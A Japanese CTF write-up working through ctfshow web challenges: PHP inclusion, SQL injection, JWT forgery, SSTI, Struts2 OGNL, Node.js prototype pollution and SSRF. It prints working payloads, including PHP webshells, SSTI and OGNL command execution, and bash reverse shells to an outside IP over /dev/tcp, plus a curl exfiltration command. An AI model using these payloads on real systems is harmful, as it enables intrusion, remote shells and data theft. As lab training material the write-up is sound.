強くなりたい!
ctfshow VIP 問題集が始まる!
PHP ファイルインクルード#
web78#
フィルタリングなしの裸 include 直接 include2shell で攻撃開始
ああ、これには include2shell は使えない、これらのフィルタは有効になっていない
それなら直接読み取ればいい
php://filter/convert.base64-encode/resource=flag.php
web79#
php フィールドをフィルタリングし、data プロトコルで🐎を送信
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==
web80#
くそ、data もフィルタリングされてしまった
しかし大文字小文字はフィルタリングされていないので、PHP://input を使って post 内容を書いて、cat fl0g.php を読み取ることができた
web81#
byd はどうやってコロンをフィルタリングしたのか
今回は本格的なログインクルードを行う必要がある
nginx ログパス:/var/log/nginx/access.log
apache ログパス:/var/log/apache2/access.log
ログは url と ua を記録する、url はエンコードされるので、ua を使ってマルウェアを書く
UA に実行したい php コマンドを変更し、必ず一度で成功させる必要がある。問題があれば fatalerror が発生し、環境を再起動するしかない
要するに UA をに設定し、何度もアクセスすれば出てくる
web82#
この問題は。をフィルタリングした、あなたは厳しい
セッション競争インクルードを行う、詳細はここを見てくださいhttps://www.freebuf.com/vuls/202819.html
import io
import requests
import threading
sessid = 'tri'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
with requests.session() as session:
while True:
POST(session)
print(f"[+] 成功書き込みsess_{sessid}")
これを送信しながら /tmp/sess_SESSID をインクルードすれば rce が得られる
この時競争環境は開いていないので、まず wp を書き終え、今はやらない
まずは競争を必要としないものをやる
web87#
1 行ある
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
死亡 exit があるので、いくつかの操作を行ってこの die をエスケープしてからシェルを書き込む必要がある
ここでの file は擬似プロトコルを使うことができ、rot13 フィルタを持つ write 擬似プロトコルを構築し、同時に content を事前に rot13 することで die をエスケープし、content を元の形に戻すことができる
php://filter/write=string.rot13/resource=2.php
ここでは 2 回 urlencode を通過する必要がある、なぜなら再度受動的に decode されるから
web88#
preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)
多くのフィルタリングが行われているように見える
実際には 79 のペイロードを直接打つことができ、特殊文字を含まない base64 でエンコードされたパスワードを見つけるだけでよい
web116#
mp4 から png を分離したのはソースコードのスクリーンショット
多くのフィルタリングが行われているが、flag.php を直接インクルードして flag を取得できることがわかった
web117#
web87 に非常に似ている?しかし rot13 がフィルタリングされているので、死亡 exit をエスケープする他の方法を探す必要がある
https://www.anquanke.com/post/id/202510#h2-14からいくつかの方法を見つけた
UCS-2 方式で、ターゲット文字列を 2 バイトごとに反転させる(ここでの 2LE と 2BE は小端と大端の例と見なすことができる)、つまり、構築された悪意のあるコードは UCS-2 の 2 の倍数でなければならず、そうでなければ正常に反転できない(満たされない余分な文字列は切り捨てられる)、このフィルタを利用してエンコーディング変換をバイパスすることができる
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php
contents も事前に反転されている?<hp pvela$(G_TE'[mc'd)]?;>>
こうして webshell が得られた
PHP の特性#
この部分は基本的な部分を刷ることになる
web89#
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
pregmatch をバイパスするクラシックな方法で、ここでは配列を使って pregmatch をバイパスする。引数が不正な場合は false を返す
?num[]=1
web90#
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
最初に 4476 との強い比較があり、その後 intval が使用される
intval ($num,0) の動作原理は以下の通り
base が 0 の場合、var の形式を検出して使用する進数を決定する:
- 文字列が "0x" (または "0X") のプレフィックスを含む場合、16 進数 (hex) を使用;そうでなければ、
- 文字列が "0" で始まる場合、8 進数 (octal) を使用;そうでなければ、
- 10 進数 (decimal) を使用する。
これにより進数を利用してペイロードを構築することができる
?num=0x117c
0x117c を 10 進数に変換すると 4476 になる
web91#
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
最初の行の正規表現には m 修飾子が追加されており、これは複数行マッチを指す
改行を含む文字列を構築することができる
url 内で、改行文字は %0a
したがって cmd=%0aphp とすれば条件を満たすことができる
web92#
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
90 のペイロードを直接使用できる、原理は同じである
web93#
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
進数変換の intval を使用できないため、num=4476.1 とすれば、int に変換する際に小数が自動的に切り捨てられる
web94#
if(!strpos($num, "0")){
die("no no no!");
}
この問題は前の問題に基づいて制限が追加され、num に 0 が含まれている必要がある
したがって num=4476.10 とすればよい
web95#
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
小数点が禁止されている
?num=+010574 とすれば、先頭にプラスを付けて intval が整数として認識できるようにすることができる
web96#
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
flag.php を直接渡すことができないので、./flag.php を渡せばよい
web97#
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5 の弱比較、直接配列を使ってバイパスする
a[]=1&b[]=a
web98#
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?これは何だ
本当に低能な問題で、こんな問題には遭遇しないだろう
1. **`include("flag.php");`**: "flag.php"という名前のファイルをインクルードしようとしています。このファイルにはいくつかの敏感な情報が含まれている可能性がありますが、その内容は不明です。
2. **`$_GET?$_GET=&$_POST:'flag';`**: この行は実際にはGETリクエストが存在するかどうかを確認し、**`$_GET`**を**`$_POST`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: **`$_GET['flag']`**の値が'flag'であれば、**`$_GET`**を**`$_COOKIE`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: 前の行と同様に、**`$_GET['flag']`**の値が'flag'であれば、**`$_GET`**を**`$_SERVER`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: **`highlight_file`**関数を使用して、ファイルのソースコードをハイライト表示します。**`$_GET['HTTP_FLAG']`**が'flag'に等しいかどうかに基づいて、'flag.php'ファイルの内容を表示するか、現在のファイルの内容を表示するかを決定します。
chatgpt の説明によれば、単に get に何かを渡し、post で HTTP_FLAG=flag を送信すればエラーメッセージの中で flag を見ることができる
web99#
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
ここでは inarray の脆弱性を利用しており、この関数のデフォルトの strict モードは false である。まず配列にいくつかのランダムな数字を追加するので、n が数字で始まる場合、弱比較により n の数字以降の文字が無視される。したがって n=1.php とすれば、1 は必ず allow に含まれるため、合法的にバイパスできる。
n=1.php&content=<?php system($_POST[1]);?>
web100#
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
v0 には代入演算があり、代入演算の優先順位が and 演算よりも高いため、v1 が数字であればよい
v2 には;が含まれてはいけないが、v3 には含まれている必要がある。したがって v2 で?> を使って切断すればよい
?v1=1
&v2=var_dump($ctfshow)?>
&v3=;
このオブジェクトをダンプし、0x2d を - に変換すれば flag が得られる
web101#
100 の正規表現が変更され、数字や記号を含むことができなくなった
そのため、echo new Reflectionclass を使用してこのクラスのパラメータを取得し、flag を取得することができる
web102#
web110#
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
これは文字のみの原生クラスの利用である
まずは
?v1=FilesystemIterator
&v2=getcwd
現在のディレクトリにあるファイルを取得する
flag ファイルを見た後、直接このファイルにアクセスすれば flag を見ることができる
web111#
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
可変変数v2 がある
v1=ctfshow、v2=GLOBALS と設定すると、これを上書きして vardumpGLOBALS を出力し、flag を含む変数を取得する
web112#
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
php 擬似プロトコルを使って直接読み取ることができる php://filter/resource=flag.php
web113#
filter を禁止し、compress.zlib で読み取ることができる
web114#
=web112
web115#
php では "36" は "\x0c36" と等しく、trim も \x0c をフィルタリングしないため、%0c もフィルタリングされない
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
num=%0c36
web123#
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
if($fl0g==="flag_give_me"){
echo $flag;この純粋な誤導で、evalを使って直接echoflagを実行すればよい
web125#
問題は $c<=16 に制限されているので、長さが 16 未満である必要はないため、eval を使用してコマンドを渡すことができる
web126#
php7 では assert を使用して関数を直接実行できないため、assert ($a [0]) ?fl0g=flag_give_me を使用して代入文を実行する
web127#
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
query にこれらの文字を渡すことが禁止されているため、ctf show を使用して php が不正なパラメータ名を自動的に_に変換するようにすることができる
web128#
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
二重のユーザー関数で、数字や文字が含まれていない
get_defined_vars は定義されたすべての変数の配列を返す
SQLi#
web171#
//指定IDユーザーを検索するためのSQL文を構築
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
単純に直接結合する
‘ or 1=1 —+
これによりすべての条件が成立し、すべてのアカウントが返される
web172#
結果に flag が含まれないようにチェックが追加された
//結果にflagが含まれているかどうかを確認
if($row->username!=='flag'){
$ret['msg']='クエリ成功';
}
したがって union を使用して結合クエリを実行する
1' union select 2,password from ctfshow_user2 --+
username を常に 2 にする
結果を取得できる
web173#
172 と同様だが、3 つのフィールドに変更されているので、少し変更すればよい
web174#
結果に flag や数字が含まれないように禁止されているため、ブール盲注を使用して flag を取得する
import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"
url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="
flag = ""
while True:
for i in word:
r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
if "admin" in r.text:
flag += i
print(flag)
break
web175#
この問題ではすべての ascii 文字が禁止されており、つまり出力がないため、ブール盲注を使用できない。時間盲注を使用することができる
また、into outfile を使用して結果を外部のウェブサイトファイルに書き込むこともできる
1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+
web176#
この問題では waf が導入されており、何がフィルタリングされているのかわからない
a' or 1=1 --+ を使用すると直接バイパスできる
web177#
この waf は空白をフィルタリングしているため、すべての空白を /**/ 行間注釈で置き換え、unionselect クエリを実行することができる
web178#
この問題ではすべての注釈がフィルタリングされているため、%0b または %09 を使用して空白を置き換えることができる
または空白を必要としないペイロードを使用する
'or'1'='1'%23
web179#
依然として空白のフィルタリングに変更が加えられているため、上記のペイロードを使用することができる
web180#
#を使用して文の残りの部分を注釈することが禁止されているため、--+ を使用する必要があり、ここでの + は url エンコードして %0c にする必要がある
JWT#
web345#
flag はどこに?レスポンスヘッダーを確認すると、auth cookie が jwt を与え、admin にアクセスするように指示される
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0
デコードするとこのようになる。署名がない jwt で、sub を admin に変更して試してみる
変更した jwt を使用して admin にアクセスし、flag を取得する
web346#
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH
今度は jwt に署名が付いており、HS256 アルゴリズムを使用しているため、secretkey を破る必要がある
この問題は jwt 攻撃方法の 1 つである alg を none にすることを考察しており、いくつかのバックエンドでは jwtheader の alg を none に設定すると署名を検証しなくなる
jwttools を使用して、admin を変更した jwt を生成する
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa
次に - Xa を使用して none 攻撃を実行する
この jwt を使用してアクセスすれば flag を取得できる
web347#
問題は jwt の弱いパスワードを示しており、sk を 123456 でブルートフォースする
admin を直接変更してアクセスする
web348#
同様にブルートフォースし、辞書を使って aaab が出てくる
web349#
これは秘密鍵が漏洩した問題で、/private.key にアクセスすると秘密鍵を取得できる
この秘密鍵を使用して admin に変更し、直接署名すればよい
web350#
公開鍵が漏洩した
この問題は CVE-2016-5431 の脆弱性を利用して、RS256 の非対称暗号を HS256 の対称暗号に変更する問題で、署名アルゴリズムの混乱だが、検証が厳密ではない
py の jwt パッケージを使用しても通らなかったが、内部の署名ロジックが異なる可能性がある
同じパッケージをインポートする js スクリプトを使用する
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);
このトークンを使用してアクセスすれば flag を取得できる
SSTI#
クラシックなまとめhttps://tttang.com/archive/1698/
web361#
問題の説明は名前がポイント
で、name query の ssti を考慮している
?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}
web362#
フィルタリングが追加された
このフィルタリング文は2|3
何がフィルタリングされているのかわからないが、上記のペイロードはまだ使用できる
web363#
ここでは単一引用符がフィルタリングされているようだ
したがって、単一引用符内の文字列を request.args.a に置き換え、a=os として渡す
?name={{self.__init__.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}&a=os&b=env
web364#
試してみると、args が禁止されている
したがって、cookies を使用して代替する
?name={{self.__init__.__globals__.__builtins__.__import__(request.cookies.a).popen(request.cookies.b).read()}}
同時に cookie に a=os;b=env を渡す
web365#
このフィルタリングは単一および二重引用符をフィルタリングしているため、args と [を使用できない。したがって、少ない下線を持つペイロードを使用する
?name={{(lipsum | attr(request.cookies.c)).os.popen(request.cookies.b).read()}}
b=env;c=globals
web366#
os がフィルタリングされている
?name={{(lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()}}
b=env;c=globals;d=os
web367#
{{と} がフィルタリングされている
したがって、{+% と %+} を代わりに使用し、元のペイロードに print を追加する
?name={% print((lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()) %}
web368#
args がフィルタリングされている
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}
必要な部分の文字列を取得し、変数に保存し、必要なコマンドを結合して実行するために chr 関数を取得する方法を使用している
web370#
この問題では数字がフィルタリングされており、count フィルタを使用して取得することができる
全角数字を半角数字の代わりに使用する邪道もある
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("入力したい数字文字列を変換してください:")
for i in s:
t += half2full(i)
print(t)
元のペイロードの数字をすべてこのように置き換えればよい
web371#
この問題では print が禁止されており、他のデータ外部持ち出し方法を見つける必要がある
ここでは curl を使用してシグナルにアクセスし、データを外部に持ち出すことができる
具体的なコマンドは
curl -X POST -F xx=@/flag domain
@を使用することで、このファイルを読み取り、内容を送信することができる
web372#
count が禁止されているため、370 の全角数字を使用して打つことができる
以前 ISCC を行ったときに出会った非常に包括的な ssti の問題がここにあるhttps://blog.csdn.net/c868954104/article/details/131003141
JAVA#
web279#
問題は S2-001 で、struts2 ツールを直接使用して攻撃を開始する
web280#
S2-005 も同様に攻撃を開始する
web281#
S2-007 を攻撃する
web282#
S2-008 を攻撃する
web283#
攻撃する、私は何をしているのかわからない、利用ツールを使って狂ったように攻撃している
web284#
S2-016 で通過する
web285#
攻撃する
web286#
攻撃する
web287#
攻撃する
web288#
攻撃する
web289#
S2-029、この問題にはワンキーハックがないので、ネットで調べたが、タイトルに S2-032 が成功したと書かれていて、私を誤導した
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))
web290#
攻撃する
web291#
攻撃する
web292#
攻撃する
web293#
攻撃する
web294#
攻撃する
web295#
exp がないので、ネットで探した
showcase の /integration/saveGangster.action パスに OGNL 構文を入力し、${10-7} を実行する
出力は 3 で、実行が成功したことを示している
その後、SSTI の RCE のように取得した
web296#
攻撃する
web297#
攻撃する
web298#
ついに S2 シリーズではなくなった!
この問題には罠がある!デフォルトでのパスは / で、これは 404 である。手動で ctfshow にジャンプする必要がある!
ソースコードが与えられ、満たすべき条件は
public boolean getVipStatus() {
return this.username.equals("admin") && this.password.equals("ctfshow");
}
ああ
この低能な問題は、手動で login ディレクトリに調整する必要があり、ヒントは何もない
/ctfshow/login?username=admin&password=ctfshow
web299#
1 行の注釈がある
しかし、.php がなく、java で一般的な jsp を読み取ることができる
次に、/WEB-INF/web.xml をスキャンすると、com.ctfshow.servlet.GetFlag が存在することがわかる
試してみる
対応するファイルパスは / WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
読み取ったソースコードには
../../../../fl3g を使用して flag を読み取る
web300#
前の問題と似ているが、php の皮をかぶっている。include2shell を使用すると本性が露わになる
PHPCVE#
Web312#
1. 環境
php5.6.38 のメールシステムを見つけた
cve を調べるとCVE-2018-19518が見つかる
-oProxyCommand = を設定してサードパーティのコマンドを呼び出すことで、攻撃者はこのパラメータを注入することができ、最終的にコマンド実行の脆弱性を引き起こす
利用方法;まず 1 行のスクリプトを書き、base64 でエンコードし、シェルコマンドを使用してファイルに書き込む
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php
次に、この 1 行の base64 を exp に書き込む
x -oProxyCommand=echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64 -d|sh}
hostname に入力し、注意して前に x を付け、2 回 url エンコードする必要がある
これで rce が得られる
NodeJS#
基本的な宝箱:https://xz.aliyun.com/t/11791
web334#
これは nodejs の問題である
ソースコードをダウンロードし、この部分をバイパスする必要がある
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
見てみると、アカウントとパスワードが与えられている
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
web335#
flag はどこに?
F12 を見て注釈を確認する
<!-- /?eval= -→
nodejs で rce を行う必要がある
require ("child_process").execSync ("ls"); を使用して rce を実行し、flag を成功裏に取得する
web336#
flag はどこに?
ただし、フィルタリングが行われているようで、exec がフィルタリングされている?不明
https://forum.butian.net/share/1631にはいくつかの一般的なバイパス方法がある
require("child_process")["ex"+"ecSync"]('ls');
[] を使用してメソッドを実行し、文字列を結合して exec 制限をバイパスする
特殊文字は url エンコードする必要がある
web337#
問題のソースコードが与えられている
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
これはクラシックな突破方法である
2 つのオブジェクトを渡す
a[a]=1&b[b]=2
内部的には
a={'a':'1'}
b={'b':'2'}
このようにしてバイパスすることができる
web338#
問題のソースコードを見てみると、flag を取得するためには secert.ctfshow===36dboy である必要がある
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
copy 関数があることがわかる
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
これは明らかに汚染である!
リクエストを構築する
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
このようにして、hackbar は問題があるため、bp または requests を使用して強制的に送信する必要がある
送信が完了したら flag を取得できる
web339#
ソースコードは 338 に似ているが、要求が secert.ctfshow===flag に変更されており、これは明らかに成立しない
同時に api ルートが追加されている
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
この query は何なのか?どこにも存在しないので、オブジェクトを汚染してこのものを作成する必要がある
flag の位置がわからないので、最も単純なシェルをポップアップするペイロードを使用する
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}}
これを使用して /api にアクセスすると、自動的にシェルがポップアップする
/app/routes/login.js にアクセスして flag を取得する
> PS:もしコンテキストにrequireがなければ(Code-Breaking 2018 Thejsのように)、global.process.mainModule.constructor._load('child_process').exec('calc')を使用してコマンドを実行することができる
web340#
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
ほぼ同じことだが、2 層上に汚染する必要がある
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}
web341#
この問題では 339 と 340 の api ルートが削除されているため、query を汚染して rce を実行することができない
したがって、ejs の rce ペイロードを使用して原型チェーンを汚染する必要がある
具体的にはhttps://xz.aliyun.com/t/7075を参照
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}
web342#
この問題では jade テンプレートエンジンが使用されており、jade の原型チェーン汚染 rce 利用チェーンを打つ必要がある
具体的にはhttps://xz.aliyun.com/t/7025#toc-5を参照
同じペイロードを 2 回使用する
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}
web343#
342 と同じペイロードを打つと出てくるが、何がフィルタリングされているのかわからない
web344#
この問題は nodejs の低能さを見事に示している
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
打つべきペイロードは?query={"name":"admin"&query="password":"ctfshow"&query="isVIP"}
?あなたは私に言う、これはすべてのパラメータが切断されているのに、なぜ内部で一緒に結合できるのか?
すべての query を urlencode すれば送信できる
nodejs は堂々と完結する!
SSRF#
web351#
この問題では curl 環境が与えられ、curl の内容を渡すことができる
直接 file プロトコルで flag.php を読み取ることができる
web352#
http/s プロトコルと非 localhost/127.0.0.1 のみが許可されているが、なぜかhttp://127.0.0.1/flag.php で flag を取得できる
web353#
正規表現が強化されているが、linux では 127 で始まるものはローカルアドレスを示すため、127.0.0.1 を他の ip に置き換えることで同じ効果を得ることができる
web354#
localhost|1|0 | をフィルタリングしている
つまり、localhost/127 で始まることはできないが、127.0.0.1 に解決されるドメインを使用することで同じ効果を得ることができる
web355#
host の長さが 5 未満である必要があるため、0 を使用してローカル ip を示すことができる
web356#
同様に、host の長さ制限が 3 以下に変更されている
中期考核#
web486#
デフォルトのアクセスパスは /index.php?action=login であり、私は直感的にこの action の後に include や何かがあるに違いないと思った
したがって、/etc/passwd に変更してみる
やはり
いくつかのファイルを fuzz した後、flag が /var/www/html/flag.php にあることがわかり、.php の末尾をバイパスする必要はなかった